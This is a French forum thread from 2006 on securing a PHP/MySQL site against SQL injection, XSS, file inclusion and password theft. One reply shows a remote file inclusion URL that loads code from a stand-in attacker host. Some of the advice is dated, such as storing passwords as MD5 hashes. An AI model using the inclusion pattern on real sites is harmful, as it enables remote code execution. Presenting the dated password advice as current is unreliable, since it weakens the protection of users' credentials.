securisé mon site php

02 mars 2006, 18:56

salut à tous

je vient de lire le tuto sur les magic_quote de php france et la doc php pour les fonction, mysql_real_escape_string(), stripslashes(), addslashes().

ici on ne traite que de la securité contre les injections sql

1°) quelqu'un aurait il un lien vers des tutos ou explication sur les injection Xss (en français de préference)?

2°) j'aimerai aussi connaitre touts autres type d'attaque pour les sites utilisant php, sql, et mysql. Si quelqu'un pouvait m'en faire un petit listing

(les liens à l'appui sont le bien venu)

3°) existe il des failles à l'utilisation de .htpass (hors racine WWW) et .htacces?

je vait m'arreter là pour l'instant

penser à preciser le n° de la question si possible

Merci d'avance

02 mars 2006, 23:03

http://www.phpsecure.info/v2/article/phpmysql.php

02 mars 2006, 23:41

@fab: merci je vait jeter un coup d'oeil

apres moultes recherche sur la toile, je reviens avec pas grand chose

deux post interesant quand même:
1°)

XSS et SQL Injection repose sur le meme probleme: le filtrage des entrees utilisateur.
Dans les 2 cas, il faut faire filtrer ce que peut rentrer l'utilisateur. 2 methodes:
* interdire certains caracteres => mauvaise methode car "tu ne sais pas ce que tu ne sais pas!". Il est impossible de connaitre l'ensemble (potentiellement infini) des combinaisons dangereuses. Voir les problemes qu'il y a peu avoir avec l'encode Unicode par exemple
* authoriser certains caracteres seulement => a-z, A-Z, 0-9 par exemple

Quelques autres erreurs/recommandations classiques:
* laisser des fichiers sensibles en lecture pour tout le mode
Peut etre eviter en verifiant les droits, et en ajoutant systematiquement l'extension .php (si programmation PHP) a un fichier. Comme ca, si on tente d'y acceder, le contenu sera interprete comme du code PHP, et n'affichera vraisemblablement rien
* des URL du type index.php?file=data/page1.php (pour charger la page data/page1.php)
Cela permettrait sans doute de contourner les permissions sur les fichiers pour lire n'importe quoi, mais aussi de faire interpreter n'importe quelle page avec les droits locaux: index.php?file=http://attacker.com/download-all.php(...)
* il est recommender de crypter les donnes si possible, dans un "sens unique"
Comme pour le fichier /etc/passwd, encrypter sans possiblilte de decrypter les login et passowrd
* Ne pas imaginer que les donnes envoyees en POST sont invisibles a l'utilisateur sous pretexte que cela ne s'affiche pas dans l'URL
* ne pas afficher les erreurs PHP qui pourraient donner trop d'informations sur la configuration
On voit des messages du type: ERROR: cannot open /home/web/~website/lib/file.inc.php
* ...

Apres, rien ne sert de securiser l'application si le serveur (MySQ, Apache, OS, ...) n'est pa securise lui-meme: Apache avec les droits root ou ayant acces a tout le systeme (pas de chroot), failles de securite connues, ...

2°)

quand il faut vérifier un mot de passe dans une application, je ne me base pas sur une requête SQL ça évite bien des problèmes.

Ce que je fais :
1° Je vais chercher le mot de passe crypté en base et stocké à la manière LDAP : {MD5}lmkjfaofinqmcndfqm= par exemple.

2° Je prend le mot de passe que l'utilisateur à donné que je crypte avec la méthode du dessus et je compare.
La seule info dont tu as besoin pour ta requête SQL est le login de l'utilisateur. Si l'utilisateur arrive à injecter du SQL ça ne servira de toute façon pas à grand chose : juste ne pas récupérer le mot de passe crypté et donc cela générera une erreur ou un compte nul.

De plus avec cette méthode, tu peux crypter tes mots de passe avec différents algos de manière transparente.

si vous avez un avis là-dessus, ça m'interesse

l'idée de ne pas crypter les contenu de db, mais de crypter le post et la recup puis comparer me semble interessante...

qu'en penser vous?

03 mars 2006, 00:31

yes, sauf que si l'on réussit par une faille à atteindre ta base de donnée, on a accès à une liste d'utilisateurs, mots de passe (et sans doute email) et ça c'est dangereux ! Peu de personnes prennent la précaution d'utiliser des mots de passe différents. C'est le genre de liste qui vaut cher sur le net ..

Pour les failles XSS, il te faut penser à filtrer toute variable provenant du client. Tu ne peux pas te fier à ces données qui auraient pu être modifiées (les variables de type GET, POST, COOKIE, ...)
Si c'est du texte que tu réutiliseras par après, il te faut filtrer le code html éventuellement injecté, tu as pour cela la fonction htmlspecialchars()
pour filtrer une variable devant contenir uniquement une donnée numérique on peut par contre utiliser intval()

On te parle de la restriction des caractères acceptés. C'est dans ce sens qu'il faut penser. Il est impossible de définir tout ce que l'on doit refuser. Autant alors définir ce qu'on accepte.
J'appliquerais plutôt cela à l'exemple des URL du type index.php?file=
Si c'est possible, pour se prémunir de tout problème, il est préférable d'avoir dans un array la liste des files qui existent et qui sont acceptés, et de vérifier si celui spécifié dans l'url existe bien. Si ce n'est pas possible il faut adapter les protections selon ton serveur.

03 mars 2006, 00:38

Peu de personnes prennent la précaution d'utiliser des mots de passe différents. C'est le genre de liste qui vaut cher sur le net ..

Voilà pourquoi il faut chiffrer ou, à tout le moins, hacher les mots de passe dans la base. Un simple hachage laisse une possibilité d'attaque "au dictionnaire". Un chiffrement avec une clé de chiffrement rend l'utilisation des mots de passes ainsi récupérés quasiment impossible. pour autant que la clé et la méthode de chiffrement utilisés ne soient pas clairement indiqués dans la base bien entendu.

03 mars 2006, 15:04

j'ai eut une idée que j'aimerai vous presentez afin d'avoir votre avis:

Si on filtre via une expression reguliere tout les caractère speciaux lier au code des different langage (exemple $ ' " | <>/*. et bien d'autres) et que l'on fait en sorte de les remplacer par leur nom (ou unicode) en HTML avant de les traiter par POST GET COOKIE...

cela n'aura plus d'insidence coté server et sera génèré comme du texte coté client

si c'est bien fait, alors plus de soucis

03 mars 2006, 15:20

2. un autre attaque: l'attaque par module

si dans ton site tu utilises un module open source, genre un forum, un livre d'or, un script de news, l'attaque est possible en fonction des exploits diffusées sur le net. Dans ces cas là, il faut mettre à jour ta version du script; une solution est aussi le masquage du numero de version, ça laisse un peu plus de temps pour patcher.

A+

Pascal

03 mars 2006, 15:30

Merci Pascal

je connaissait deja mais j'y avait plus penser

1°) et pour ce qui est de mon idée dans le précedent message, quand pensez vous

2°) et pour ce qui est des upload, doit on faire quelque chose de special pour ce proteger au cas ou ça serai des fichier malicieux ou des virus

securisé mon site php

Qui est en ligne